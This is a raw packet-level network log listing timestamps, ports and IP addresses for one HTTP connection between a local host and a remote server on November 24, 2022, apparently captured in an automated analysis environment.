Nov 24, 2022 13:27:53.247462988 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247483969 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247489929 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247510910 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247515917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247540951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247543097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247558117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247565985 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247596979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247612953 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247618914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247629881 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247642994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247653961 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247664928 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247669935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247687101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247710943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247713089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247713089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247735023 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247735023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247756958 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247759104 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247781992 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247781992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247807026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247808933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247829914 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247829914 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247853041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247860909 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247874975 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247885942 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247924089 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247930050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247947931 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247953892 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247963905 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.247972965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.247997046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248003960 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248022079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248028040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248047113 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248048067 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248064041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248073101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248096943 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248099089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248111963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248123884 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248151064 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248151064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248172045 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248198986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248199940 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248226881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248251915 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248279095 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248280048 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248296976 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248305082 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248331070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248332977 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248348951 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248358011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248374939 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248387098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248399019 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248411894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248435020 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248437881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248451948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248466015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248476028 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248488903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248511076 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248512983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248527050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248538971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248560905 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248562098 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248583078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248584986 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248606920 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.248630047 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248655081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.248980999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249008894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249036074 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249063969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249066114 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249089956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249092102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249116898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249119997 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249140978 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249142885 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249156952 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249169111 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249181986 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249195099 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249218941 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249221087 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249236107 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249248028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249270916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249274969 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249300003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249303102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249317884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249322891 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249340057 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249347925 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249361992 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249371052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249388933 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249394894 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249414921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249418974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249435902 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249442101 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249466896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249481916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249490023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249495983 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249506950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249514103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249526024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249541998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249564886 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249569893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249581099 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249593973 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249608040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249618053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249639988 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249644041 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249659061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249670982 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249681950 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249696970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249708891 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249722004 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249746084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249748945 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249763966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249773979 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249798059 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249808073 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249821901 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249824047 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249846935 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249850035 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249867916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249876022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249891043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249900103 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249922991 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.249923944 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249942064 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.249979019 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250005007 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250020027 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250030994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250045061 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250056028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250077963 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250078917 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250096083 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250103951 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250128984 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250129938 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250143051 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250154972 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250170946 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250180960 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250193119 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250205994 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250228882 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250230074 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250248909 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250256062 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250276089 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250351906 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250420094 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250447989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250463009 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250473976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250484943 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250499964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250514030 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250524998 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250554085 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250566959 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250577927 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250591993 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250601053 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250621080 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250624895 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250637054 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250648022 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250672102 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250672102 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250686884 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250695944 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250710964 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250719070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250735998 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250741005 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250760078 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250763893 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250785112 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250790119 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250802040 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250817060 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250843048 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250859022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250859022 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250869989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250914097 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250929117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250929117 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250941038 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250967026 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.250978947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250978947 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.250993013 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251014948 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251019001 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251033068 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251044989 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251070023 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251071930 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251091003 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251096964 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251141071 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251157999 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251183033 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251185894 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251198053 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251207113 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251230955 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251235008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251246929 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251260996 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251274109 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251286983 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251300097 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251312017 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251336098 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251351118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251351118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251359940 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251374006 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251384974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251399994 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251409054 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251429081 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251434088 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251447916 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251456976 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251471043 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251482010 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251493931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251504898 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251528025 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251528025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251542091 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251550913 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251573086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251580000 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251595974 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251596928 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251617908 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251617908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251636982 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251640081 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251652002 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251662970 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251684904 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.251687050 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251704931 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.251725912 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.252593040 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253534079 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253563881 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253587008 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253593922 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253609896 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253623962 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253637075 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253650904 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253679991 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253703117 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253726959 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253752947 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253767967 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253776073 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253798008 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253801107 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253823996 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253825903 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253839970 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253850937 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253865957 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253880024 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253889084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253906965 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253916025 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253933907 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253942966 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253961086 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253969908 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.253988028 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.253998041 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254014015 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254029989 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254040003 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254051924 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254065037 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254076004 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254086971 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254100084 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254111052 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254125118 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254142046 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254154921 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254167080 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254179001 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254192114 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254204035 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254215956 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254240036 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254265070 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254266024 CET	49702	80	192.168.2.4	66.235.200.147
Nov 24, 2022 13:27:53.254292011 CET	80	49702	66.235.200.147	192.168.2.4
Nov 24, 2022 13:27:53.254296064 CET	49702	80	192.168.2.4	66.235.200.147
